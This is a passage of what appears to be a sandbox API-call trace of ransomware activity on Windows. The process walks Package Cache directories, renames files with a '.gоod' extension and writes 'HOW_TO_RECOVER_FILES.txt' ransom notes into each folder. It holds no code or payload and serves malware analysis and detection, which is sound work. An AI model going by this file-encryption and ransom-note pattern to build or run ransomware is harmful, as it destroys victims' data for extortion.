dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.068] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0146.068] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0146.068] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0146.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0146.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0146.069] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0146.069] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.069] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.069] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e18393, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.069] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0146.069] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.070] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0146.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0146.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0146.070] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0146.070] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.070] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.071] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x329ec07c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4ea428, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0146.071] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e18393, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.071] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0146.071] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.071] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0146.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0146.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0146.071] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0146.071] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x329ec07c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4ea428, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0146.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e18393, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0146.073] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0146.073] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0146.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0146.073] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8c [0146.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0146.073] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0146.074] GetFileType (hFile=0x7f8) returned 0x1 [0146.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0146.074] GetFileType (hFile=0x7f8) returned 0x1 [0146.075] WriteFile (in: hFile=0x7f8, lpBuffer=0x3681658*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3681658*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0146.076] CloseHandle (hObject=0x7f8) returned 1 [0146.076] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0146.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0146.076] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0146.077] GetFileType (hFile=0x7f8) returned 0x1 [0146.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0146.077] GetFileType (hFile=0x7f8) returned 0x1 [0146.078] WriteFile (in: hFile=0x7f8, lpBuffer=0x3684f80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x3684f80*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0146.079] CloseHandle (hObject=0x7f8) returned 1 [0146.079] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0146.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0146.079] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0146.080] GetFileType (hFile=0x7f8) returned 0x1 [0146.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0146.080] GetFileType (hFile=0x7f8) returned 0x1 [0146.081] WriteFile (in: hFile=0x7f8, lpBuffer=0x3688878*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3688878*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0146.081] CloseHandle (hObject=0x7f8) returned 1 [0146.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0146.082] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpFilePart=0x0) returned 0x52 [0146.082] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33c89898, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.082] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33c89898, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.082] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c89898, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33c89898, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c89898, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.082] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0146.083] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0146.083] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0146.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0146.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0146.083] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpFilePart=0x0) returned 0x52 [0146.083] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x33c89898, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c89898, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.083] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x33c89898, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c89898, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.083] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c89898, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33c89898, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c89898, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.084] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0146.084] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.084] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0146.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0146.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0146.084] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0146.084] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33c85ec4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, 